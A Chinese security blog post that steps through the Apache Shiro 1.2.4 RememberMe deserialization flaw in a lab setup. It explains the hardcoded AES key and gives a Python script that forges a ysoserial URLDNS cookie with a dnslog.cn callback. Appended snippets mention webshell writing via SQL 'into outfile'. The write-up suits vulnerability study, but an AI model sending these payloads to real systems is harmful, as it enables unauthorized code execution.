Apache Shiro 反序列化之殤

2021-03-02 酒仙橋六號部隊

Shiro RememberMe RCE是護網常見的漏洞,因RememberMe值加密的原因,自帶繞waf特性,安服仔使用起來極其舒適,之前也看過一些大佬們寫的漏洞分析,看完之後有點疑問,比如,大佬說 偶然發現這個iv並沒有真正使用起來,加密模式是AES/CBC的,在安服仔印象中該模式下必須要有iv值,iv值不可能沒有使用,因此安服仔決定當一次(實習)研究仔去調試一次,解決我的疑問,並記錄。

Apache Shiro是一款開源安全框架,提供身份驗證、授權、密碼學和會話管理。Shiro框架直觀、易用,同時也能提供健壯的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用戶信息序列化後存儲在名為remember-me的Cookie中。攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令

下面我們從最開始的環境搭建開始進行研究並對問題進行解答。

Java: jdk1.8.0_121

Tomcat: 7.0.94

解壓後進入shiro-shiro-root-1.2.4/samples/web

用IDEA加載,並設置pom.xml,指定jstl版本為1.2,增加commons-collections4,如下:

 <dependencies>        <dependency>            <groupId>javax.servlet</groupId>            <artifactId>jstl</artifactId>                  <version>1.2</version>            <scope>runtime</scope>        </dependency>
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>

如果不指定jstl版本<version>1.2</version>,會報錯誤The absolute uri:

http://java.sun.com/jsp/jstl/core cannot be resolved in either web.xml or the jar files deployed with this application,如下:

增加commons-collections4,是為了後面反序列化起來如喝水一般流暢。

接著設置run/debug configurations, 添加本地tomcat環境。

部署war包:

設置項目路徑:

然後Run 起來,訪問http://192.168.43.30:8000/shirotest/,出現下圖就證明環境是沒問題。

登陸時勾選Remember Me,

Cookie中會多一個rememberMekey,

而漏洞就是出現在rememberMekey中。

我們先來看下漏洞描述:Apache Shiro 在CookieRememberMeManager.java中 加密 用戶身份信息並序列化後存儲在名為remember-me的Cookie中, 攻擊者可以使用Shiro的默認密鑰偽造用戶Cookie,觸發Java反序列化漏洞,進而在目標機器上執行任意命令。

問題出現在

CookieRememberMeManager,這裡我們將shiro的源碼都下載下來(IDEA中點開Maven下的shiro包會提示Download Sources,點擊即可下載),然後全局搜索下CookieRememberMeManager,如下:

Notice: 一定要下載shiro源碼才能搜索到,IDEA目前還沒有智能到可以直接重構 已編譯文件 的索引。

點進CookieRememberMeManager,打開IDEA的Structure選項卡,可以清晰的看出CookieRememberMeManager類的組成元素,根據名稱與對應的代碼,可以大概知道他們各自的功能。

然後這裡我們先分析rememberMe是怎麼加密的,我們通過IDEA的Find Usage功能對rememberSerializedIdentity函數進行往上查找,發現其被rememberIdentity調用了。

接著再往上查找2層,找到了程序登陸成功的流程,如下:

我們在程序登陸成功處打個斷點org.apache.shiro.mgt.AbstractRememberMeManager#onSuccessfulLogin,先來分析rememberMe值的加密過程,然後瀏覽器進行登陸帳戶root/secret,勾選上Remember Me的按鈕,進行登陸,此時程序會停在斷點處,如下:

在onSuccessfulLogin方法中,首先調用forgetIdentity方法來進行處理request和response請求,並在response中設置rememberMe=deleteMe的 Cookie。

在數據包中顯示如下:

Set-Cookie: rememberMe=deleteMe; Path=/shirotest; Max-Age=0; Expires=Mon, 13-Jul-2020 07:41:20 GMT

這個不是關鍵 大家有興趣可以自己跟一下。

然後判斷有沒有勾選Remember Me選項,這裡我登陸時勾選了,因此isRememberMe(token)結果為true,F5進入rememberIdentity(Subject subject, AuthenticationToken token, AuthenticationInfo authcInfo)函數。

該函數首先調用getIdentityToRemember函數來獲取用戶身份,

接著我們先跟進:

rememberIdentity(org.apache.shiro.subject.Subject, org.apache.shiro.subject.PrincipalCollection)函數。

該函數首先調用了convertPrincipalsToBytes,F5跟進去。

convertPrincipalsToBytes函數 首先對用戶身份"root"進行了序列化,然後對序列化後的字節數組進行了加密,我們F5跟進org.apache.shiro.mgt.AbstractRememberMeManager#encrypt(byte[] serialized)函數,看下是怎麼加密的。

根據IDEA調試的變量信息,可以推測加密算法為AES,模式為CBC,填充為PKCS5Padding,getEncryptionCipherKey()函數應該是獲取AES加密的密鑰,這裡我們跟進去,如下:

是一個get方法,我們找下對應的set方法,Find Usages找下哪裡調用了setEncryptionCipherKey方法,最後找到是setCipherKey方法調用了。

繼續往上找:

找到了AES的Key,以硬編碼的方式寫在代碼裡。

繼續跟進

encrypt(serialized, getEncryptionCipherKey())

iv通過generateInitializationVector函數生成。

跟進generateInitializationVector函數,可以發現iv是隨機生成的。

iv隨機生成的,那它解密的時候如何獲取這個iv呢?

接下來:

回到

encrypt(serialized, getEncryptionCipherKey()),

跟進

encrypt(byte[] plaintext, byte[] key, byte[] iv, boolean prependIv)

最終加密返回來的bytes,是由16位iv+密文組成的。

目前上面分析到的整個加密過程:

將root身份序列化之後的值經過AES加密,加密過後的值與16位iv進行拼接,返回新的bytes數組,其中16位iv在新字節數組的頭部,即iv=bytes[:16],encrypt=bytes[16:]

以上就是convertPrincipalsToBytes函數做的事情。

到了這裡基本解決了我的疑問,iv在加密的過程中是使用了的。

然後F7跳出convertPrincipalsToBytes函數,回到最開始的rememberIdentity函數,跟進rememberSerializedIdentity函數。

rememberSerializedIdentity函數將AES加密後的值Base64編碼了一次,然後設置到Cookie中。

梳理下Cookie中rememberMe值的由來:

1.序列化用戶身份root 2.將序列化後的值進行AES加密,密鑰為常量,IV為隨機數 3.將AES加密後的值與iv拼接,進行Base64編碼 4.設置到Cookie中的rememberMe欄位。

接下來我們看下rememberMe欄位的解密過程:

在跟蹤加密過程的時有

org.apache.shiro.mgt.AbstractRememberMeManager#encrypt(byte[] serialized)

這個函數,我們在這個類:

org.apache.shiro.mgt.AbstractRememberMeManager中找到對應的decrypt(byte[] encrypted)函數然後Find Usages,往上找二層,找到

org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals 然後下斷點,如下:

接著在登陸狀態下請求網站,讓斷點停下。

跟進getRememberedSerializedIdentity函數。

org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity函數做了兩件事,先是取了Cookie中的rememberMe值,然後將其進行Base64解碼。

F7回到getRememberedPrincipals函數,跟進convertBytesToPrincipals函數。

對解碼後的值進行解密,然後進行反序列化,跟進deserialize,就可以看到readObject()方法。

這裡就不對decrypt函數進行跟蹤了,有興趣可以自己跟一下(加密已經很清晰了,解密的時候反著來就完事了)。

梳理下Cookie中rememberMe值的解密過程:

1.讀取Cookie中的rememberMe欄位值,然後進行Base64編碼 2.AES解密 3.進行反序列化

整個解密過程,可以看到在進行反序列化之前沒有任何過濾,導致外界傳什麼值,就反序列化什麼。

而AES硬編碼的緣故,使得我們可以構造任意的rememberMe欄位值,從而導致 任意代碼執行。

這裡我們分兩種情況,漏洞機器能出網的檢測,以及漏洞機器不能出網的檢測。

機器能出網情況檢測

直接使用ysoserial的URLDNS模塊,進行檢測,代碼如下:


from Crypto.Cipher import AESimport tracebackimport requestsimport subprocessimport uuidimport base64import sys
target = "http://192.168.43.30:8000/shirotest/"jar_file = './ysoserial-0.0.6-SNAPSHOT-all.jar'cipher_key = "kPH+bIxk5D2deZiIxcaaaA=="
popen = subprocess.Popen(['java','-jar',jar_file, "URLDNS", "http://5atsqm.dnslog.cn"], stdout=subprocess.PIPE)BS = AES.block_sizepad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()mode = AES.MODE_CBCiv = uuid.uuid4().bytesencryptor = AES.new(base64.b64decode(cipher_key), mode, iv)file_body = pad(popen.stdout.read())base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
try: r = requests.get(target, cookies={'rememberMe':base64_ciphertext.decode()}, timeout=30) print(r.status_code)except: traceback.print_exc()

執行之後,DNSLOG有記錄,大概率存在次漏洞,如下:

利用
Windows1.攻擊主機192.168.43.31 運行JRMP:

相關焦點

  • Apache Shiro反序化識別那些事
    1.2.3 關鍵因素整個漏簡單的cookie處理流程是:得到rememberMe的cookie值-->Base64解碼-->AES解密-->反序列化。所以整個AES加解密過程的key就很重要,正是因為AES使用默認的KEY/常見的KEY/KEY洩導致反序化的cookie可控,從引發反序列化。
  • Spring Boot與Shiro整合實現用戶認證
    自定義Realm類package com.itheima.shiro;import org.apache.shiro.authc.AuthenticationException;import org.apache.shiro.authc.AuthenticationInfo
  • 「網絡安全」關於Apache Shiro權限繞過高危漏洞的 預警通報
    由於shiro在處理url時與spring存在差異,處理身份驗證請求時出錯導致存在身份校驗繞過漏洞,遠程攻擊者可以發送特製的HTTP請求,繞過身份驗證過程並獲得對應用程式的未授權訪問。二、影響範圍 Apache Shiro < 1.6.0。
  • Shiro的授權和Session管理(三)
    package com.yjl.role;import java.util.Arrays;import org.apache.shiro.SecurityUtils;import org.apache.shiro.authc.UsernamePasswordToken;import org.apache.shiro.config.IniSecurityManagerFactory
  • Shiro 權限校驗分析
    —配置 shiro 依賴--><dependencies><dependency><groupId>org.apache.shiro</groupId><artifactId>
  • Yii2 反序列化漏洞復現分析
    Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在調用unserialize() 時,攻擊者可通過構造特定的惡意請求執行任意命令。所以只需要在序列化CreateAction類的時候指定checkAccess和id參數的值即可調用call_user_func方法,所以整體利用鏈如下:1.yii\db\BatchQueryResult-> __destruct->rest2.Faker\Generator->call->format
  • 披著小眾化外衣的shiro 如何做著「大眾化」生意?
    shiro就是在這塊美好的土地所誕生的品牌。公司於1989年所創立,2000年後才開始漸漸從土產轉換為護膚品。不過,品牌一開始並不叫shiro,先在2009年正式成立了品牌LAUREL之後,再在2015年決定進軍海外,才把名字改為shiro。
  • 止戰之殤---
    《止戰之殤》是一首周杰倫以反戰為主題立意的,具有高度藝術性和人文關懷的經典作品。
  • SpringCloud Feign:使用ApacheHttpClient代替默認client
    ;groupId>org.springframework.cloud</groupId> <artifactId>spring-cloud-starter-openfeign</artifactId> </dependency> <dependency> <groupId>org.apache.httpcomponents
  • 從Java RMI反序列化到內網淪陷
    快速對信息收集報告掃了一眼,發現一處x1099埠對應java rmi服務,這說明好的滲透測試皆是基於信息收集做的好,作為一個三年滲透經驗的安服仔,立即聯想到之前Java RMI存在反序列化漏洞CVE-2017-3241,掏出大佬寫的工具
  • 吳語之殤——非物質文化遺產之殤
    可是現在,據最新一份中國6到20歲能夠熟練使用方言人數比例的調查,吳語佔比最低,而吳語正是蘇州評彈的靈魂,這就讓蘇州評彈面臨著沒有繼承人的危險,吳語之殤,只是一個縮影,這也就是蘇州評彈,世界非物質文化遺產之殤。希望我們都能儘自己一份力量,保護世界非物質文化遺產,保護我們的蘇州評彈和那個溫婉的江南。
  • 一首歌時間 | 周杰倫的《止戰之殤》,你聽懂了多少?
    《以父之名》與《夜的第七章》兩首詞作在手法寫作上均側重於敘事,篇幅長而華麗,風格陰沉,的確適合稱為「黑暗姊妹篇」——這大約也是因為二者的詞作均為黃俊郎之故。反觀《止戰之殤》《夜曲》《威廉古堡》三首曲目,無論在風格、內容還是寫作手法上都異於前二者,所以將其中的任何一首並稱為「黑暗三部曲」似乎均不妥帖。這並不是說《止戰之殤》不如《以父之名》和《夜的第七章》優秀。
  • 乾貨| 網站滲透總結之Getshell用法大全
    >" into outfile "C:\\vulcms\\ecshopv3.6\\ecshop\\v01cano.php";關於此語句說明,在windows中有時候需要使用斜槓/有時候需要使用雙反斜槓\末尾有時候需要分號,有時候也不需要分號。也可以先將一句話通過ecshop的新建管理員寫入到user表中,然後通過資料庫備份配合解析漏洞Getshell。
  • 周杰倫《止戰之殤》歌詞賞析
    最開始不認識殤這個字,也不知道這個字的意思,更不要說止戰之殤的意思了。
  • 周杰倫《止戰之殤 》,夢在遠方~
    編舞:薛珊舞者:冉楊 王子銀 劉澤男 徐文婷 舒萌 周雪穎 王晨冉 李亞萌 李璐璐 覃麗 楊傲 葉奇凡 肖夢 皮安琪 夏小樂 王曼 籍夢文 阿柯 吳彩迪 陳丹敏 孫安娜 美楪 薛珊周杰倫的《止戰之殤《止戰之殤》這首歌收錄在《七裡香》專輯中,在磁帶的背後有著周杰倫親手寫的一句俄語,翻譯過來就是「我希望這個世界充滿和平,我希望和我愛的人永遠在一起」這是每個人心中的夙願,這首歌寫出了戰爭的殘酷,也表達了周杰倫對和平的嚮往。止戰之殤,夢在遠方,點燃生的燭火,照亮回家的路,燈光猶在,歌聲悠揚。
  • 《無界之殤》舉行記者會
    《無界之殤》舉行記者會 時間:2020.02.27 來源:1905電影網 作者:Serko 分享到: